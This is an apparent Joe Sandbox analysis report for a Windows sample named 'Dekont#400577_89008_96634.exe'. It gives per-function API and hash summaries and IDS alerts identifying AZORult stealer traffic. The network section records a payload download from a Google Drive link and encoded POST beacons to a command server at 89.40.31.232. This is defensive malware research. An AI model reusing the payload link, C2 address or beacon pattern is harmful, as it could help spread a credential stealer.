Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 5af5b17495f11576261f65d9e5f109aee1feef29f3286c425d9ce226ac00a781
Instruction ID: ee10c8015a3e92cf614b22ba24180aec604fe5fe026a1179c0e7be4a3fdf0cdb
Opcode Fuzzy Hash: 5af5b17495f11576261f65d9e5f109aee1feef29f3286c425d9ce226ac00a781
Instruction Fuzzy Hash: E621F672900119AFCB05DFA4DE45AEEBBB5EF08314F14003AFA45F62A0C7789D51DB98

Function 6FDC161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6FDC2238,?,00000808), ref: 6FDC1635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6FDC2238,?,00000808), ref: 6FDC163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6FDC2238,?,00000808), ref: 6FDC1650
GetProcAddress.KERNEL32(6FDC2238,00000000), ref: 6FDC1657
GlobalFree.KERNEL32(00000000), ref: 6FDC1660

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 0103e666d830126877c1c40fcb3de35a8283dcf47e0f7c630242125f8339032c
Instruction ID: be4ed1e919a05e7f384fd12d1888beab9c04e8930a9fc810a0dd7c2b51ce2e37
Opcode Fuzzy Hash: 0103e666d830126877c1c40fcb3de35a8283dcf47e0f7c630242125f8339032c
Instruction Fuzzy Hash: E6F01C722465397BEA2116A68C4CC9BBE9CEF8B2F6B160251F628D219086615C11E7F1

Function 00404C14 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CB5
wsprintfW.USER32 ref: 00404CBE
SetDlgItemTextW.USER32(?,0042D268), ref: 00404CD1

Strings

%u.%u%s%s, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 0de71dd1f65287a19c767322f40b6e95ae33ee85482e893f5b2d92d4d5838e0a
Instruction ID: 33068f1a2098bbc59acf923d0b26dc9f7285eb9428391dcb76f0b5068863668e
Opcode Fuzzy Hash: 0de71dd1f65287a19c767322f40b6e95ae33ee85482e893f5b2d92d4d5838e0a
Instruction Fuzzy Hash: 6A11EB73A041283BEB00656D9D46E9E329C9B85334F264237FA25F31D1E978C82182EC

Function 00405D91 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,bismers\Phytotomist54.off,?,00405E05,bismers\Phytotomist54.off,bismers\Phytotomist54.off, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405D9F
CharNextW.USER32(00000000), ref: 00405DA4
CharNextW.USER32(00000000), ref: 00405DBC

Strings

bismers\Phytotomist54.off, xrefs: 00405D92

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CharNext
String ID: bismers\Phytotomist54.off
API String ID: 3213498283-3037600859
Opcode ID: a494e05d27702b27be76eb2108b1f7c475580a471c546fdda9206c4fb56a95c9
Instruction ID: a240d3eb33a110e9c3e2f54eb45e2ed3fb4308986edfa36c5622d0951adac79a
Opcode Fuzzy Hash: a494e05d27702b27be76eb2108b1f7c475580a471c546fdda9206c4fb56a95c9
Instruction Fuzzy Hash: B5F09021910F2295DB3177645C4DABB5AB8EFA5364B14C03BE601B72C0D7B88981CBAA

Function 00405CE6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004034B2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00405CEC
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004034B2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00405CF6
lstrcatW.KERNEL32(?,0040A014,?,00000007,00000009,0000000B), ref: 00405D08

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CE6

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction ID: e2e9208f063340fd7176cb3713d1db1a131c248cac7d4947b15e4777b480a213
Opcode Fuzzy Hash: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction Fuzzy Hash: 4FD0A771101A306AC1117B84AC05DDF669CAE85300381403BF201B30A4C77C1D5187FD

Function 00402636 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll), ref: 0040268D

Strings

C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll, xrefs: 00402651, 00402676, 00402688, 004026D4
C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp, xrefs: 0040267B

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp$C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll
API String ID: 1659193697-3092533322
Opcode ID: 9f91aca178a37e6ed0b54cb78eabbee860e101ef043324f56c33086d30ece071
Instruction ID: 2f8f56cab2ec293de193d712fca88bf9bcdcc229c68306483e13e7e6ef2e3e02
Opcode Fuzzy Hash: 9f91aca178a37e6ed0b54cb78eabbee860e101ef043324f56c33086d30ece071
Instruction Fuzzy Hash: AD11E772A00205ABCB10AFB18F4AAAF77719F44748F25043FE402B71C1EAFD8891565E

Function 00402FB1 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040318F,?,?,00000007,00000009,0000000B), ref: 00402FC4
GetTickCount.KERNEL32 ref: 00402FE2
CreateDialogParamW.USER32(0000006F,00000000,00402F2B,00000000), ref: 00402FFF
ShowWindow.USER32(00000000,00000005,?,00000007,00000009,0000000B), ref: 0040300D

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: e942aba91c3d4d0b77748caef32317d1a3e8dc78421a0242562119172c6ce506
Instruction ID: d33bc14a5fcc1787285ca97da28f022d839d2e13e88132ee71d9f244d0d7cdfd
Opcode Fuzzy Hash: e942aba91c3d4d0b77748caef32317d1a3e8dc78421a0242562119172c6ce506
Instruction Fuzzy Hash: 4AF05E3160AA21ABC6216F10FF0DA8B7B64BB48B41741487AF842B15E9DB740CA1DB9D

Function 004059FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 00405A23
CloseHandle.KERNEL32(?), ref: 00405A30

Strings

Error launching installer, xrefs: 00405A0D

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction ID: 9b609aa4dbda1b40da6c9694c56aee9f908f129f2491f8ac19b90d9f5f8e4f4b
Opcode Fuzzy Hash: 4cad7792158b69fc064c933527736888f22fedd2346a68a48c9e5725d4d2403f
Instruction Fuzzy Hash: 19E0B6B4600209BFEB109FA4EE49F7B7AACEB04708F004565BD50F6191DBB8EC158A7C

Function 00403A4B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,76233420,00000000,C:\Users\user\AppData\Local\Temp\,00403A23,00403839,00000007,?,00000007,00000009,0000000B), ref: 00403A65
GlobalFree.KERNEL32(?), ref: 00403A6C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A4B

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction ID: 631b6d606f958dd3b9f901d17eba749f6bbdc97bd5f3e27fdad90cb16f3fbd8e
Opcode Fuzzy Hash: 14d9b0f9b7ecca22f0083886da8930ddd6c03ed0d6fdc94ff3a28603f1b7b4ab
Instruction Fuzzy Hash: 1CE0EC3261212097C7219F55BE08B6E7768AF48B22F06146AE9C5BB2608B745D424FD8

Function 00405D32 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00403081,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405D38
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00403081,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,C:\Users\user\Desktop\Dekont#400577_89008_96634.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405D48

Strings

C:\Users\user\Desktop, xrefs: 00405D32

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
Instruction ID: cdcea1fdb6b733c318131938d2018cbcd3f5257763d90021158e822df2c29c6c
Opcode Fuzzy Hash: ca28fb495e832aca3bc5bc38fa8d5a1d536c38e2997e226eadf599fe90d3b243
Instruction Fuzzy Hash: FCD05EB24009209AC3126704DC0999F67A8FF5130078A842BF541AA1A4D7785C818AAC

Function 6FDC10E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6FDC116A
GlobalFree.KERNEL32(00000000), ref: 6FDC11C7
GlobalFree.KERNEL32(00000000), ref: 6FDC11D9
GlobalFree.KERNEL32(?), ref: 6FDC1203

Memory Dump Source

Source File: 00000000.00000002.2899769603.000000006FDC1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FDC0000, based on PE: true

Associated: 00000000.00000002.2899739950.000000006FDC0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899844324.000000006FDC4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2899878629.000000006FDC6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fdc0000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: cb673147d3dbebdbb112408803cbaafa3b6cc0f43b466cd31970fb1d37b1960e
Instruction ID: 22566e7e4a38a7b2f5e7317f712739975023c8cc9dad6442047df25e7232b385
Opcode Fuzzy Hash: cb673147d3dbebdbb112408803cbaafa3b6cc0f43b466cd31970fb1d37b1960e
Instruction Fuzzy Hash: E831B7B7500722DFEB408FBCC945B65B7ECFB46720B05465AE844D7250EB38F811AB62

Function 00405E6C Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E94
CharNextA.USER32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EA5
lstrlenA.KERNEL32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EAE

Memory Dump Source

Source File: 00000000.00000002.2844369182.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2844353457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844388208.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844416236.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2844800032.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Dekont#400577_89008_96634.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction ID: 346f7042b660fb70b52ae74c1c6e121eab6bc84344666f805f11c7930e864ff2
Opcode Fuzzy Hash: 21d608d80335ac136f0ceeda94a64e737efc7ffd0529c55eb96d3cb5f29812e9
Instruction Fuzzy Hash: A8F06231505418FFD7029BA5DE0099FBBA8EF56250B2540AAE880F7250D674EF019BA9

Source: Network traffic	Suricata IDS: 2029465 - Severity 1 - ET MALWARE Win32/AZORult V3.2 Client Checkin M15 : 192.168.2.6:59474 -> 89.40.31.232:80
Source: Network traffic	Suricata IDS: 2810276 - Severity 1 - ETPRO MALWARE AZORult CnC Beacon M1 : 192.168.2.6:59474 -> 89.40.31.232:80
Source: Network traffic	Suricata IDS: 2029141 - Severity 1 - ET MALWARE AZORult v3.2 Server Response M3 : 89.40.31.232:80 -> 192.168.2.6:59474
Source: Network traffic	Suricata IDS: 2016858 - Severity 1 - ET MALWARE Generic - POST To .php w/Extended ASCII Characters (Likely Zeus Derivative) : 192.168.2.6:59475 -> 89.40.31.232:80

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.6:49780
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.6:59281
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.6:59284
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:59471 -> 216.58.206.78:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /12/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 89.40.31.232Content-Length: 115Cache-Control: no-cacheData Raw: 4a 4c 89 28 39 ff 4c 2f fb 39 2f fb 39 4f ed 3f 4e ed 3e 3c ed 3e 33 ed 3e 3e ed 3e 3b ed 3e 3e ed 3e 33 ed 3e 3a ed 3e 3d ed 3f 4e 89 28 39 ff 4c 2f fb 3a 2f fb 39 2f fb 3c 2f fb 3d 2f fb 3a 2f fa 49 2f fb 34 48 ed 3e 3e ed 3e 32 ed 3e 3d ed 3e 3d ed 3e 33 89 28 38 8c 28 39 fa 28 39 ff 28 39 fa 28 39 f8 28 39 f9 28 39 fa 4b 2f fb 39 2f fb 3a Data Ascii: JL(9L/9/9O?N><>3>>>;>>>3>:>=?N(9L/:/9/</=/:/I/4H>>>2>=>=>3(8(9(9(9(9(9(9K/9/:
Source: global traffic	HTTP traffic detected: POST /12/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 89.40.31.232Content-Length: 65655Cache-Control: no-cache

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1MH4PBcg5lUR7-iNRXL3tEF69vWwWBAnh&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
Source: unknown	TCP traffic detected without corresponding DNS query: 89.40.31.232
